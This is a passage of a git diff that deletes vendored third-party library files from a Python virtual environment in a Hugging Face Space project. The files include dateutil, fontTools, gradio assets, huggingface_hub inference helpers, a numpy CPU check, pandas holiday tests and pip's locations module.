f8a65891a023ebf9eb0c24d391ba67541b7133f1..0000000000000000000000000000000000000000 --- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/dateutil/tz/_factories.py +++ /dev/null @@ -1,80 +0,0 @@ -from datetime import timedelta -import weakref -from collections import OrderedDict - -from six.moves import _thread - - -class _TzSingleton(type): - def __init__(cls, *args, **kwargs): - cls.__instance = None - super(_TzSingleton, cls).__init__(*args, **kwargs) - - def __call__(cls): - if cls.__instance is None: - cls.__instance = super(_TzSingleton, cls).__call__() - return cls.__instance - - -class _TzFactory(type): - def instance(cls, *args, **kwargs): - """Alternate constructor that returns a fresh instance""" - return type.__call__(cls, *args, **kwargs) - - -class _TzOffsetFactory(_TzFactory): - def __init__(cls, *args, **kwargs): - cls.__instances = weakref.WeakValueDictionary() - cls.__strong_cache = OrderedDict() - cls.__strong_cache_size = 8 - - cls._cache_lock = _thread.allocate_lock() - - def __call__(cls, name, offset): - if isinstance(offset, timedelta): - key = (name, offset.total_seconds()) - else: - key = (name, offset) - - instance = cls.__instances.get(key, None) - if instance is None: - instance = cls.__instances.setdefault(key, - cls.instance(name, offset)) - - # This lock may not be necessary in Python 3. See GH issue #901 - with cls._cache_lock: - cls.__strong_cache[key] = cls.__strong_cache.pop(key, instance) - - # Remove an item if the strong cache is overpopulated - if len(cls.__strong_cache) > cls.__strong_cache_size: - cls.__strong_cache.popitem(last=False) - - return instance - - -class _TzStrFactory(_TzFactory): - def __init__(cls, *args, **kwargs): - cls.__instances = weakref.WeakValueDictionary() - cls.__strong_cache = OrderedDict() - cls.__strong_cache_size = 8 - - cls.__cache_lock = _thread.allocate_lock() - - def __call__(cls, s, posix_offset=False): - key = (s, posix_offset) - instance = cls.__instances.get(key, None) - - if instance is None: - instance = cls.__instances.setdefault(key, - cls.instance(s, posix_offset)) - - # This lock may not be necessary in Python 3. See GH issue #901 - with cls.__cache_lock: - cls.__strong_cache[key] = cls.__strong_cache.pop(key, instance) - - # Remove an item if the strong cache is overpopulated - if len(cls.__strong_cache) > cls.__strong_cache_size: - cls.__strong_cache.popitem(last=False) - - return instance - diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/fontTools/misc/cython.py b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/fontTools/misc/cython.py deleted file mode 100644 index 2a42d94a3591e0e8e47f184b303e4aec0a6337ef..0000000000000000000000000000000000000000 --- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/fontTools/misc/cython.py +++ /dev/null @@ -1,27 +0,0 @@ -""" Exports a no-op 'cython' namespace similar to -https://github.com/cython/cython/blob/master/Cython/Shadow.py - -This allows to optionally compile @cython decorated functions -(when cython is available at built time), or run the same code -as pure-python, without runtime dependency on cython module. - -We only define the symbols that we use. E.g. see fontTools.cu2qu -""" - -from types import SimpleNamespace - - -def _empty_decorator(x): - return x - - -compiled = False - -for name in ("double", "complex", "int"): - globals()[name] = None - -for name in ("cfunc", "inline"): - globals()[name] = _empty_decorator - -locals = lambda **_: _empty_decorator -returns = lambda _: _empty_decorator diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/gradio/templates/cdn/assets/ModifyUpload-87a26b2d.js b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/gradio/templates/cdn/assets/ModifyUpload-87a26b2d.js deleted file mode 100644 index de7e831847a009c03ada91dea58dfa556901d156..0000000000000000000000000000000000000000 --- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/gradio/templates/cdn/assets/ModifyUpload-87a26b2d.js +++ /dev/null @@ -1,2 +0,0 @@ -import"./Button-89057c03.js";import{I as w}from"./IconButton-16e5dbea.js";import{C as z}from"./Clear-2c7bae91.js";import"./Index-37584f50.js";/* empty css */const{SvelteComponent:D,append:P,attr:f,detach:A,init:F,insert:G,noop:g,safe_not_equal:H,svg_element:C}=window.__gradio__svelte__internal;function J(i){let e,n;return{c(){e=C("svg"),n=C("path"),f(n,"d","M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"),f(e,"xmlns","http://www.w3.org/2000/svg"),f(e,"width","100%"),f(e,"height","100%"),f(e,"viewBox","0 0 24 24"),f(e,"fill","none"),f(e,"stroke","currentColor"),f(e,"stroke-width","1.5"),f(e,"stroke-linecap","round"),f(e,"stroke-linejoin","round"),f(e,"class","feather feather-edit-2")},m(t,o){G(t,e,o),P(e,n)},p:g,i:g,o:g,d(t){t&&A(e)}}}class K extends D{constructor(e){super(),F(this,e,null,J,H,{})}}const{SvelteComponent:N,append:q,attr:c,detach:O,init:Q,insert:R,noop:h,safe_not_equal:T,svg_element:b}=window.__gradio__svelte__internal;function V(i){let e,n,t;return{c(){e=b("svg"),n=b("polyline"),t=b("path"),c(n,"points","1 4 1 10 7 10"),c(t,"d","M3.51 15a9 9 0 1 0 2.13-9.36L1 10"),c(e,"xmlns","http://www.w3.org/2000/svg"),c(e,"width","100%"),c(e,"height","100%"),c(e,"viewBox","0 0 24 24"),c(e,"fill","none"),c(e,"stroke","currentColor"),c(e,"stroke-width","2"),c(e,"stroke-linecap","round"),c(e,"stroke-linejoin","round"),c(e,"class","feather feather-rotate-ccw")},m(o,s){R(o,e,s),q(e,n),q(e,t)},p:h,i:h,o:h,d(o){o&&O(e)}}}class W extends N{constructor(e){super(),Q(this,e,null,V,T,{})}}const{SvelteComponent:X,append:I,attr:Y,check_outros:S,create_component:v,destroy_component:k,detach:Z,element:y,group_outros:M,init:x,insert:ee,mount_component:$,safe_not_equal:te,set_style:B,space:L,toggle_class:U,transition_in:m,transition_out:d}=window.__gradio__svelte__internal,{createEventDispatcher:ne}=window.__gradio__svelte__internal;function j(i){let e,n;return e=new w({props:{Icon:K,label:i[3]("common.edit")}}),e.$on("click",i[5]),{c(){v(e.$$.fragment)},m(t,o){$(e,t,o),n=!0},p(t,o){const s={};o&8&&(s.label=t[3]("common.edit")),e.$set(s)},i(t){n||(m(e.$$.fragment,t),n=!0)},o(t){d(e.$$.fragment,t),n=!1},d(t){k(e,t)}}}function E(i){let e,n;return e=new w({props:{Icon:W,label:i[3]("common.undo")}}),e.$on("click",i[6]),{c(){v(e.$$.fragment)},m(t,o){$(e,t,o),n=!0},p(t,o){const s={};o&8&&(s.label=t[3]("common.undo")),e.$set(s)},i(t){n||(m(e.$$.fragment,t),n=!0)},o(t){d(e.$$.fragment,t),n=!1},d(t){k(e,t)}}}function oe(i){let e,n,t,o,s,a=i[0]&&j(i),l=i[1]&&E(i);return o=new w({props:{Icon:z,label:i[3]("common.clear")}}),o.$on("click",i[7]),{c(){e=y("div"),a&&a.c(),n=L(),l&&l.c(),t=L(),v(o.$$.fragment),Y(e,"class","svelte-19sk1im"),U(e,"not-absolute",!i[2]),B(e,"position",i[2]?"absolute":"static")},m(r,u){ee(r,e,u),a&&a.m(e,null),I(e,n),l&&l.m(e,null),I(e,t),$(o,e,null),s=!0},p(r,[u]){r[0]?a?(a.p(r,u),u&1&&m(a,1)):(a=j(r),a.c(),m(a,1),a.m(e,n)):a&&(M(),d(a,1,1,()=>{a=null}),S()),r[1]?l?(l.p(r,u),u&2&&m(l,1)):(l=E(r),l.c(),m(l,1),l.m(e,t)):l&&(M(),d(l,1,1,()=>{l=null}),S());const p={};u&8&&(p.label=r[3]("common.clear")),o.$set(p),(!s||u&4)&&U(e,"not-absolute",!r[2]),u&4&&B(e,"position",r[2]?"absolute":"static")},i(r){s||(m(a),m(l),m(o.$$.fragment,r),s=!0)},o(r){d(a),d(l),d(o.$$.fragment,r),s=!1},d(r){r&&Z(e),a&&a.d(),l&&l.d(),k(o)}}}function le(i,e,n){let{editable:t=!1}=e,{undoable:o=!1}=e,{absolute:s=!0}=e,{i18n:a}=e;const l=ne(),r=()=>l("edit"),u=()=>l("undo"),p=_=>{l("clear"),_.stopPropagation()};return i.$$set=_=>{"editable"in _&&n(0,t=_.editable),"undoable"in _&&n(1,o=_.undoable),"absolute"in _&&n(2,s=_.absolute),"i18n"in _&&n(3,a=_.i18n)},[t,o,s,a,l,r,u,p]}class ue extends X{constructor(e){super(),x(this,e,le,oe,te,{editable:0,undoable:1,absolute:2,i18n:3})}}export{ue as M,W as U}; -//# sourceMappingURL=ModifyUpload-87a26b2d.js.map diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/huggingface_hub/inference/_common.py b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/huggingface_hub/inference/_common.py deleted file mode 100644 index 5973083a712b84748867b8aecf532e4998731052..0000000000000000000000000000000000000000 --- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/huggingface_hub/inference/_common.py +++ /dev/null @@ -1,335 +0,0 @@ -# coding=utf-8 -# Copyright 2023-present, the HuggingFace Inc. team. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -"""Contains utilities used by both the sync and async inference clients.""" -import base64 -import io -import json -import logging -from contextlib import contextmanager -from dataclasses import dataclass -from pathlib import Path -from typing import ( - TYPE_CHECKING, - Any, - AsyncIterable, - BinaryIO, - ContextManager, - Dict, - Generator, - Iterable, - List, - Literal, - Optional, - Set, - Union, - overload, -) - -from requests import HTTPError - -from ..constants import ENDPOINT -from ..utils import ( - build_hf_headers, - get_session, - hf_raise_for_status, - is_aiohttp_available, - is_numpy_available, - is_pillow_available, -) -from ._text_generation import TextGenerationStreamResponse, _parse_text_generation_error - - -if TYPE_CHECKING: - from aiohttp import ClientResponse, ClientSession - from PIL import Image - -# TYPES -UrlT = str -PathT = Union[str, Path] -BinaryT = Union[bytes, BinaryIO] -ContentT = Union[BinaryT, PathT, UrlT] - -# Use to set a Accept: image/png header -TASKS_EXPECTING_IMAGES = {"text-to-image", "image-to-image"} - -logger = logging.getLogger(__name__) - - -# Add dataclass for ModelStatus. We use this dataclass in get_model_status function. -@dataclass -class ModelStatus: - """ - This Dataclass represents the the model status in the Hugging Face Inference API. - - Args: - loaded (`bool`): - If the model is currently loaded. - state (`str`): - The current state of the model. This can be 'Loaded', 'Loadable', 'TooBig' - compute_type (`str`): - The type of compute resource the model is using or will use, such as 'gpu' or 'cpu'. - framework (`str`): - The name of the framework that the model was built with, such as 'transformers' - or 'text-generation-inference'. - """ - - loaded: bool - state: str - compute_type: str - framework: str - - -class InferenceTimeoutError(HTTPError, TimeoutError): - """Error raised when a model is unavailable or the request times out.""" - - -## IMPORT UTILS - - -def _import_aiohttp(): - # Make sure `aiohttp` is installed on the machine. - if not is_aiohttp_available(): - raise ImportError("Please install aiohttp to use `AsyncInferenceClient` (`pip install aiohttp`).") - import aiohttp - - return aiohttp - - -def _import_numpy(): - """Make sure `numpy` is installed on the machine.""" - if not is_numpy_available(): - raise ImportError("Please install numpy to use deal with embeddings (`pip install numpy`).") - import numpy - - return numpy - - -def _import_pil_image(): - """Make sure `PIL` is installed on the machine.""" - if not is_pillow_available(): - raise ImportError( - "Please install Pillow to use deal with images (`pip install Pillow`). If you don't want the image to be" - " post-processed, use `client.post(...)` and get the raw response from the server." - ) - from PIL import Image - - return Image - - -## RECOMMENDED MODELS - -# Will be globally fetched only once (see '_fetch_recommended_models') -_RECOMMENDED_MODELS: Optional[Dict[str, Optional[str]]] = None - - -def _get_recommended_model(task: str) -> str: - model = _fetch_recommended_models().get(task) - if model is None: - raise ValueError( - f"Task {task} has no recommended task. Please specify a model explicitly. Visit" - " https://huggingface.co/tasks for more info." - ) - logger.info( - f"Using recommended model {model} for task {task}. Note that it is encouraged to explicitly set" - f" `model='{model}'` as the recommended models list might get updated without prior notice." - ) - return model - - -def _fetch_recommended_models() -> Dict[str, Optional[str]]: - global _RECOMMENDED_MODELS - if _RECOMMENDED_MODELS is None: - response = get_session().get(f"{ENDPOINT}/api/tasks", headers=build_hf_headers()) - hf_raise_for_status(response) - _RECOMMENDED_MODELS = { - task: _first_or_none(details["widgetModels"]) for task, details in response.json().items() - } - return _RECOMMENDED_MODELS - - -def _first_or_none(items: List[Any]) -> Optional[Any]: - try: - return items[0] or None - except IndexError: - return None - - -## ENCODING / DECODING UTILS - - -@overload -def _open_as_binary(content: ContentT) -> ContextManager[BinaryT]: - ... # means "if input is not None, output is not None" - - -@overload -def _open_as_binary(content: Literal[None]) -> ContextManager[Literal[None]]: - ... # means "if input is None, output is None" - - -@contextmanager # type: ignore -def _open_as_binary(content: Optional[ContentT]) -> Generator[Optional[BinaryT], None, None]: - """Open `content` as a binary file, either from a URL, a local path, or raw bytes. - - Do nothing if `content` is None, - - TODO: handle a PIL.Image as input - TODO: handle base64 as input - """ - # If content is a string => must be either a URL or a path - if isinstance(content, str): - if content.startswith("https://") or content.startswith("http://"): - logger.debug(f"Downloading content from {content}") - yield get_session().get(content).content # TODO: retrieve as stream and pipe to post request ? - return - content = Path(content) - if not content.exists(): - raise FileNotFoundError( - f"File not found at {content}. If `data` is a string, it must either be a URL or a path to a local" - " file. To pass raw content, please encode it as bytes first." - ) - - # If content is a Path => open it - if isinstance(content, Path): - logger.debug(f"Opening content from {content}") - with content.open("rb") as f: - yield f - else: - # Otherwise: already a file-like object or None - yield content - - -def _b64_encode(content: ContentT) -> str: - """Encode a raw file (image, audio) into base64. Can be byes, an opened file, a path or a URL.""" - with _open_as_binary(content) as data: - data_as_bytes = data if isinstance(data, bytes) else data.read() - return base64.b64encode(data_as_bytes).decode() - - -def _b64_to_image(encoded_image: str) -> "Image": - """Parse a base64-encoded string into a PIL Image.""" - Image = _import_pil_image() - return Image.open(io.BytesIO(base64.b64decode(encoded_image))) - - -def _bytes_to_list(content: bytes) -> List: - """Parse bytes from a Response object into a Python list. - - Expects the response body to be JSON-encoded data. - - NOTE: This is exactly the same implementation as `_bytes_to_dict` and will not complain if the returned data is a - dictionary. The only advantage of having both is to help the user (and mypy) understand what kind of data to expect. - """ - return json.loads(content.decode()) - - -def _bytes_to_dict(content: bytes) -> Dict: - """Parse bytes from a Response object into a Python dictionary. - - Expects the response body to be JSON-encoded data. - - NOTE: This is exactly the same implementation as `_bytes_to_list` and will not complain if the returned data is a - list. The only advantage of having both is to help the user (and mypy) understand what kind of data to expect. - """ - return json.loads(content.decode()) - - -def _bytes_to_image(content: bytes) -> "Image": - """Parse bytes from a Response object into a PIL Image. - - Expects the response body to be raw bytes. To deal with b64 encoded images, use `_b64_to_image` instead. - """ - Image = _import_pil_image() - return Image.open(io.BytesIO(content)) - - -## STREAMING UTILS - - -def _stream_text_generation_response( - bytes_output_as_lines: Iterable[bytes], details: bool -) -> Union[Iterable[str], Iterable[TextGenerationStreamResponse]]: - # Parse ServerSentEvents - for byte_payload in bytes_output_as_lines: - # Skip line - if byte_payload == b"\n": - continue - - payload = byte_payload.decode("utf-8") - - # Event data - if payload.startswith("data:"): - # Decode payload - json_payload = json.loads(payload.lstrip("data:").rstrip("/n")) - # Either an error as being returned - if json_payload.get("error") is not None: - raise _parse_text_generation_error(json_payload["error"], json_payload.get("error_type")) - # Or parse token payload - output = TextGenerationStreamResponse(**json_payload) - yield output.token.text if not details else output - - -async def _async_stream_text_generation_response( - bytes_output_as_lines: AsyncIterable[bytes], details: bool -) -> Union[AsyncIterable[str], AsyncIterable[TextGenerationStreamResponse]]: - # Parse ServerSentEvents - async for byte_payload in bytes_output_as_lines: - # Skip line - if byte_payload == b"\n": - continue - - payload = byte_payload.decode("utf-8") - - # Event data - if payload.startswith("data:"): - # Decode payload - json_payload = json.loads(payload.lstrip("data:").rstrip("/n")) - # Either an error as being returned - if json_payload.get("error") is not None: - raise _parse_text_generation_error(json_payload["error"], json_payload.get("error_type")) - # Or parse token payload - output = TextGenerationStreamResponse(**json_payload) - yield output.token.text if not details else output - - -async def _async_yield_from(client: "ClientSession", response: "ClientResponse") -> AsyncIterable[bytes]: - async for byte_payload in response.content: - yield byte_payload - await client.close() - - -# "TGI servers" are servers running with the `text-generation-inference` backend. -# This backend is the go-to solution to run large language models at scale. However, -# for some smaller models (e.g. "gpt2") the default `transformers` + `api-inference` -# solution is still in use. -# -# Both approaches have very similar APIs, but not exactly the same. What we do first in -# the `text_generation` method is to assume the model is served via TGI. If we realize -# it's not the case (i.e. we receive an HTTP 400 Bad Request), we fallback to the -# default API with a warning message. We remember for each model if it's a TGI server -# or not using `_NON_TGI_SERVERS` global variable. -# -# For more details, see https://github.com/huggingface/text-generation-inference and -# https://huggingface.co/docs/api-inference/detailed_parameters#text-generation-task. - -_NON_TGI_SERVERS: Set[Optional[str]] = set() - - -def _set_as_non_tgi(model: Optional[str]) -> None: - _NON_TGI_SERVERS.add(model) - - -def _is_tgi_server(model: Optional[str]) -> bool: - return model not in _NON_TGI_SERVERS diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/numpy/distutils/checks/cpu_asimdhp.c b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/numpy/distutils/checks/cpu_asimdhp.c deleted file mode 100644 index e2de0306e0acaeda3b861756e598a132f8e1ca9f..0000000000000000000000000000000000000000 --- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/numpy/distutils/checks/cpu_asimdhp.c +++ /dev/null @@ -1,15 +0,0 @@ -#ifdef _MSC_VER - #include -#endif -#include - -int main(int argc, char **argv) -{ - float16_t *src = (float16_t*)argv[argc-1]; - float16x8_t vhp = vdupq_n_f16(src[0]); - float16x4_t vlhp = vdup_n_f16(src[1]); - - int ret = (int)vgetq_lane_f16(vabdq_f16(vhp, vhp), 0); - ret += (int)vget_lane_f16(vabd_f16(vlhp, vlhp), 0); - return ret; -} diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pandas/tests/tseries/holiday/test_calendar.py b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pandas/tests/tseries/holiday/test_calendar.py deleted file mode 100644 index 57acf15443ca85c867d9f54a8bc9d5822fe03085..0000000000000000000000000000000000000000 --- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pandas/tests/tseries/holiday/test_calendar.py +++ /dev/null @@ -1,116 +0,0 @@ -from datetime import datetime - -import pytest - -from pandas import ( - DatetimeIndex, - offsets, - to_datetime, -) -import pandas._testing as tm - -from pandas.tseries.holiday import ( - AbstractHolidayCalendar, - Holiday, - Timestamp, - USFederalHolidayCalendar, - USLaborDay, - USThanksgivingDay, - get_calendar, -) - - -@pytest.mark.parametrize( - "transform", [lambda x: x, lambda x: x.strftime("%Y-%m-%d"), lambda x: Timestamp(x)] -) -def test_calendar(transform): - start_date = datetime(2012, 1, 1) - end_date = datetime(2012, 12, 31) - - calendar = USFederalHolidayCalendar() - holidays = calendar.holidays(transform(start_date), transform(end_date)) - - expected = [ - datetime(2012, 1, 2), - datetime(2012, 1, 16), - datetime(2012, 2, 20), - datetime(2012, 5, 28), - datetime(2012, 7, 4), - datetime(2012, 9, 3), - datetime(2012, 10, 8), - datetime(2012, 11, 12), - datetime(2012, 11, 22), - datetime(2012, 12, 25), - ] - - assert list(holidays.to_pydatetime()) == expected - - -def test_calendar_caching(): - # see gh-9552. - - class TestCalendar(AbstractHolidayCalendar): - def __init__(self, name=None, rules=None) -> None: - super().__init__(name=name, rules=rules) - - jan1 = TestCalendar(rules=[Holiday("jan1", year=2015, month=1, day=1)]) - jan2 = TestCalendar(rules=[Holiday("jan2", year=2015, month=1, day=2)]) - - # Getting holidays for Jan 1 should not alter results for Jan 2. - tm.assert_index_equal(jan1.holidays(), DatetimeIndex(["01-Jan-2015"])) - tm.assert_index_equal(jan2.holidays(), DatetimeIndex(["02-Jan-2015"])) - - -def test_calendar_observance_dates(): - # see gh-11477 - us_fed_cal = get_calendar("USFederalHolidayCalendar") - holidays0 = us_fed_cal.holidays( - datetime(2015, 7, 3), datetime(2015, 7, 3) - ) # <-- same start and end dates - holidays1 = us_fed_cal.holidays( - datetime(2015, 7, 3), datetime(2015, 7, 6) - ) # <-- different start and end dates - holidays2 = us_fed_cal.holidays( - datetime(2015, 7, 3), datetime(2015, 7, 3) - ) # <-- same start and end dates - - # These should all produce the same result. - # - # In addition, calling with different start and end - # dates should not alter the output if we call the - # function again with the same start and end date. - tm.assert_index_equal(holidays0, holidays1) - tm.assert_index_equal(holidays0, holidays2) - - -def test_rule_from_name(): - us_fed_cal = get_calendar("USFederalHolidayCalendar") - assert us_fed_cal.rule_from_name("Thanksgiving Day") == USThanksgivingDay - - -def test_calendar_2031(): - # See gh-27790 - # - # Labor Day 2031 is on September 1. Saturday before is August 30. - # Next working day after August 30 ought to be Tuesday, September 2. - - class testCalendar(AbstractHolidayCalendar): - rules = [USLaborDay] - - cal = testCalendar() - workDay = offsets.CustomBusinessDay(calendar=cal) - Sat_before_Labor_Day_2031 = to_datetime("2031-08-30") - next_working_day = Sat_before_Labor_Day_2031 + 0 * workDay - assert next_working_day == to_datetime("2031-09-02") - - -def test_no_holidays_calendar(): - # Test for issue #31415 - - class NoHolidaysCalendar(AbstractHolidayCalendar): - pass - - cal = NoHolidaysCalendar() - holidays = cal.holidays(Timestamp("01-Jan-2020"), Timestamp("01-Jan-2021")) - empty_index = DatetimeIndex([]) # Type is DatetimeIndex since return_name=False - tm.assert_index_equal(holidays, empty_index) diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pip/_internal/locations/__init__.py b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pip/_internal/locations/__init__.py deleted file mode 100644 index ac0c166e5190524f54bcd1913ad9fa0c0c094e0c..0000000000000000000000000000000000000000 --- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pip/_internal/locations/__init__.py +++ /dev/null @@ -1,520 +0,0 @@ -import functools -import logging -import os -import pathlib -import sys -import sysconfig -from typing import Any, Dict, Iterator, List, Optional, Tuple - -from pip._internal.models.scheme import SCHEME_KEYS, Scheme -from pip._internal.utils.compat import WINDOWS -from pip._internal.utils.deprecation import deprecated -from pip._internal.utils.virtualenv import running_under_virtualenv - -from . import _distutils, _sysconfig -from .base import ( - USER_CACHE_DIR, - get_major_minor_version, - get_src_prefix, - is_osx_framework, - site_packages, - user_site, -) - -__all__ = [ - "USER_CACHE_DIR", - "get_bin_prefix", - "get_bin_user", - "get_major_minor_version", - "get_platlib", - "get_prefixed_libs", - "get_purelib", - "get_scheme", - "get_src_prefix", - "site_packages", - "user_site", -] - - -logger = logging.getLogger(__name__) - - -_PLATLIBDIR: str = getattr(sys, "platlibdir", "lib") - -_USE_SYSCONFIG_DEFAULT = sys.version_info >= (3, 10) - - -def _should_use_sysconfig() -> bool: - """This function determines the value of _USE_SYSCONFIG. - - By default, pip uses sysconfig on Python 3.10+. - But Python distributors can override this decision by setting: - sysconfig._PIP_USE_SYSCONFIG = True / False - Rationale in https://github.com/pypa/pip/issues/10647 - - This is a function for testability, but should be constant during any one - run. - """ - return bool(getattr(sysconfig, "_PIP_USE_SYSCONFIG", _USE_SYSCONFIG_DEFAULT)) - - -_USE_SYSCONFIG = _should_use_sysconfig() - -# Be noisy about incompatibilities if this platforms "should" be using -# sysconfig, but is explicitly opting out and using distutils instead. -if _USE_SYSCONFIG_DEFAULT and not _USE_SYSCONFIG: - _MISMATCH_LEVEL = logging.WARNING -else: - _MISMATCH_LEVEL = logging.DEBUG - - -def _looks_like_bpo_44860() -> bool: - """The resolution to bpo-44860 will change this incorrect platlib. - - See . - """ - from distutils.command.install import INSTALL_SCHEMES # type: ignore - - try: - unix_user_platlib = INSTALL_SCHEMES["unix_user"]["platlib"] - except KeyError: - return False - return unix_user_platlib == "$usersite" - - -def _looks_like_red_hat_patched_platlib_purelib(scheme: Dict[str, str]) -> bool: - platlib = scheme["platlib"] - if "/$platlibdir/" in platlib: - platlib = platlib.replace("/$platlibdir/", f"/{_PLATLIBDIR}/") - if "/lib64/" not in platlib: - return False - unpatched = platlib.replace("/lib64/", "/lib/") - return unpatched.replace("$platbase/", "$base/") == scheme["purelib"] - - -@functools.lru_cache(maxsize=None) -def _looks_like_red_hat_lib() -> bool: - """Red Hat patches platlib in unix_prefix and unix_home, but not purelib. - - This is the only way I can see to tell a Red Hat-patched Python. - """ - from distutils.command.install import INSTALL_SCHEMES # type: ignore - - return all( - k in INSTALL_SCHEMES - and _looks_like_red_hat_patched_platlib_purelib(INSTALL_SCHEMES[k]) - for k in ("unix_prefix", "unix_home") - ) - - -@functools.lru_cache(maxsize=None) -def _looks_like_debian_scheme() -> bool: - """Debian adds two additional schemes.""" - from distutils.command.install import INSTALL_SCHEMES # type: ignore - - return "deb_system" in INSTALL_SCHEMES and "unix_local" in INSTALL_SCHEMES - - -@functools.lru_cache(maxsize=None) -def _looks_like_red_hat_scheme() -> bool: - """Red Hat patches ``sys.prefix`` and ``sys.exec_prefix``. - - Red Hat's ``00251-change-user-install-location.patch`` changes the install - command's ``prefix`` and ``exec_prefix`` to append ``"/local"``. This is - (fortunately?) done quite unconditionally, so we create a default command - object without any configuration to detect this. - """ - from distutils.command.install import install - from distutils.dist import Distribution - - cmd: Any = install(Distribution()) - cmd.finalize_options() - return ( - cmd.exec_prefix == f"{os.path.normpath(sys.exec_prefix)}/local" - and cmd.prefix == f"{os.path.normpath(sys.prefix)}/local" - ) - - -@functools.lru_cache(maxsize=None) -def _looks_like_slackware_scheme() -> bool: - """Slackware patches sysconfig but fails to patch distutils and site. - - Slackware changes sysconfig's user scheme to use ``"lib64"`` for the lib - path, but does not do the same to the site module. - """ - if user_site is None: # User-site not available. - return False - try: - paths = sysconfig.get_paths(scheme="posix_user", expand=False) - except KeyError: # User-site not available. - return False - return "/lib64/" in paths["purelib"] and "/lib64/" not in user_site - - -@functools.lru_cache(maxsize=None) -def _looks_like_msys2_mingw_scheme() -> bool: - """MSYS2 patches distutils and sysconfig to use a UNIX-like scheme. - - However, MSYS2 incorrectly patches sysconfig ``nt`` scheme. The fix is - likely going to be included in their 3.10 release, so we ignore the warning. - See msys2/MINGW-packages#9319. - - MSYS2 MINGW's patch uses lowercase ``"lib"`` instead of the usual uppercase, - and is missing the final ``"site-packages"``. - """ - paths = sysconfig.get_paths("nt", expand=False) - return all( - "Lib" not in p and "lib" in p and not p.endswith("site-packages") - for p in (paths[key] for key in ("platlib", "purelib")) - ) - - -def _fix_abiflags(parts: Tuple[str]) -> Iterator[str]: - ldversion = sysconfig.get_config_var("LDVERSION") - abiflags: str = getattr(sys, "abiflags", None) - - # LDVERSION does not end with sys.abiflags. Just return the path unchanged. - if not ldversion or not abiflags or not ldversion.endswith(abiflags): - yield from parts - return - - # Strip sys.abiflags from LDVERSION-based path components. - for part in parts: - if part.endswith(ldversion): - part = part[: (0 - len(abiflags))] - yield part - - -@functools.lru_cache(maxsize=None) -def _warn_mismatched(old: pathlib.Path, new: pathlib.Path, *, key: str) -> None: - issue_url = "https://github.com/pypa/pip/issues/10151" - message = ( - "Value for %s does not match. Please report this to <%s>" - "\ndistutils: %s" - "\nsysconfig: %s" - ) - logger.log(_MISMATCH_LEVEL, message, key, issue_url, old, new) - - -def _warn_if_mismatch(old: pathlib.Path, new: pathlib.Path, *, key: str) -> bool: - if old == new: - return False - _warn_mismatched(old, new, key=key) - return True - - -@functools.lru_cache(maxsize=None) -def _log_context( - *, - user: bool = False, - home: Optional[str] = None, - root: Optional[str] = None, - prefix: Optional[str] = None, -) -> None: - parts = [ - "Additional context:", - "user = %r", - "home = %r", - "root = %r", - "prefix = %r", - ] - - logger.log(_MISMATCH_LEVEL, "\n".join(parts), user, home, root, prefix) - - -def get_scheme( - dist_name: str, - user: bool = False, - home: Optional[str] = None, - root: Optional[str] = None, - isolated: bool = False, - prefix: Optional[str] = None, -) -> Scheme: - new = _sysconfig.get_scheme( - dist_name, - user=user, - home=home, - root=root, - isolated=isolated, - prefix=prefix, - ) - if _USE_SYSCONFIG: - return new - - old = _distutils.get_scheme( - dist_name, - user=user, - home=home, - root=root, - isolated=isolated, - prefix=prefix, - ) - - warning_contexts = [] - for k in SCHEME_KEYS: - old_v = pathlib.Path(getattr(old, k)) - new_v = pathlib.Path(getattr(new, k)) - - if old_v == new_v: - continue - - # distutils incorrectly put PyPy packages under ``site-packages/python`` - # in the ``posix_home`` scheme, but PyPy devs said they expect the - # directory name to be ``pypy`` instead. So we treat this as a bug fix - # and not warn about it. See bpo-43307 and python/cpython#24628. - skip_pypy_special_case = ( - sys.implementation.name == "pypy" - and home is not None - and k in ("platlib", "purelib") - and old_v.parent == new_v.parent - and old_v.name.startswith("python") - and new_v.name.startswith("pypy") - ) - if skip_pypy_special_case: - continue - - # sysconfig's ``osx_framework_user`` does not include ``pythonX.Y`` in - # the ``include`` value, but distutils's ``headers`` does. We'll let - # CPython decide whether this is a bug or feature. See bpo-43948. - skip_osx_framework_user_special_case = ( - user - and is_osx_framework() - and k == "headers" - and old_v.parent.parent == new_v.parent - and old_v.parent.name.startswith("python") - ) - if skip_osx_framework_user_special_case: - continue - - # On Red Hat and derived Linux distributions, distutils is patched to - # use "lib64" instead of "lib" for platlib. - if k == "platlib" and _looks_like_red_hat_lib(): - continue - - # On Python 3.9+, sysconfig's posix_user scheme sets platlib against - # sys.platlibdir, but distutils's unix_user incorrectly coninutes - # using the same $usersite for both platlib and purelib. This creates a - # mismatch when sys.platlibdir is not "lib". - skip_bpo_44860 = ( - user - and k == "platlib" - and not WINDOWS - and sys.version_info >= (3, 9) - and _PLATLIBDIR != "lib" - and _looks_like_bpo_44860() - ) - if 